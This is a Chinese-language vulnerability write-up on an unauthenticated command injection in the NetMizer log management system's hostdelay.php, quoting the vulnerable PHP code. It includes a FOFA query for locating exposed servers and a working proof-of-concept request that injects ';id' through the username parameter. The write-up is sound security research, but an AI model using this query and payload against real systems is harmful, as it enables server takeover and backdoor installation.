漏洞简介

NetMizer日志管理系统是一款专为网络流量管理和优化设计的日志记录与分析工具，能够高效采集、存储和分析网络设备及应用的日志数据。然而，该系统中的 /data/chart/hostdelay.php 文件存在命令执行漏洞。未经身份验证的攻击者可以通过该漏洞在服务器端任意执行命令，写入后门程序，获取服务器权限，进而控制整个Web服务器。

影响版本

老旧版本

fofa语法

body="日志管理系统" && body="NetMizer"

漏洞分析

看下 hostdelay.php 业务实现关键逻辑部分

action=list

if($action == 'list'){  // do by c
        if(!$nodeid){
                $devices = array();
                $cmd = "ls $logpath";
                exec($cmd,$devices);
                for($i = 0; $i < count($devices); $i ++){
                        if(!ip2long($devices[$i])) continue;;
                        if(!$nodeid){
                                $nodeid = $devices[$i];
                                break;
                        }
                }
        }
        $stop = $start + $limit;
        //cgi -i 3232235877-3232235877 -a 1444974920 -s 0 -e 400
        $cmd = "$cgi -q 1 -s $start -e $stop -n $nodeid ";
        $cmd .= "-a $start_time -b $stop_time ";
        if(isset($iplist) && $iplist != ""){
                $iplists = explode("-", $iplist);
                $ipstart = ip2long($iplists[0]);
                if(isset($iplists[1])) $ipstop = ip2long($iplists[1]);
                else $ipstop = $ipstart;
                $cmd .= "-i $ipstart-$ipstop ";
        }
        if(isset($username) && $username != "") $cmd .= "-u $username ";
        if(isset($sorttype)) $cmd .= "-c $sorttype ";
//echo "$cmd\n";
        $fp=@popen($cmd, "r");

$nodeid, $iplist, $username, $sorttype 这些参数均未经过过滤或转义就直接插入命令字符串中，造成命令注入漏洞。

其他两个 action 的分支也存在同样的命令注入漏洞

action=area

else if($action == 'area'){  // do by C
                $arr_tmp = initprotoArea($start_time, $stop_time, $inval_time);
                $cmd = "$cgi -q 2 -s 0 -e 200 -n $nodeid ";
                //$start_time = 1444971600; 
                $cmd .= "-a $start_time -b $stop_time ";
                if(isset($iplist) && $iplist != ""){
                        $iplists = explode("-", $iplist);
                        $ipstart = ip2long($iplists[0]);
                        if(isset($iplists[1])) $ipstop = ip2long($iplists[1]);
                        else $ipstop = $ipstart;
                        $cmd .= "-i $ipstart-$ipstop ";
                }
                if(isset($username) && $username != "") $cmd .= "-u $username ";
//echo "$cmd\n";
                $fp=@popen($cmd, "r");

action=detail

else if($action == 'detail'){  // do by C
                $cmd = "$cgi -q 2 -s 0 -e 200 -n $nodeid ";
                $cmd .= "-a $start_time -b $stop_time ";
                if(isset($iplist) && $iplist != ""){
                        $iplists = explode("-", $iplist);
                        $ipstart = ip2long($iplists[0]);
                        if(isset($iplists[1])) $ipstop = ip2long($iplists[1]);
                        else $ipstop = $ipstart;
                        $cmd .= "-i $ipstart-$ipstop";
                }
                if(isset($username) && $username != "") $cmd .= "-u $username";
//echo "$cmd\n";
                $fp=@popen($cmd, "r");
                $arr_result = array();

漏洞复现

漏洞利用示例

GET /data/chart/hostdelay.php?action=list&username=;id HTTP/1.1
Host: netmizer.mrxn.net

成功执行 id 命令并回显执行结果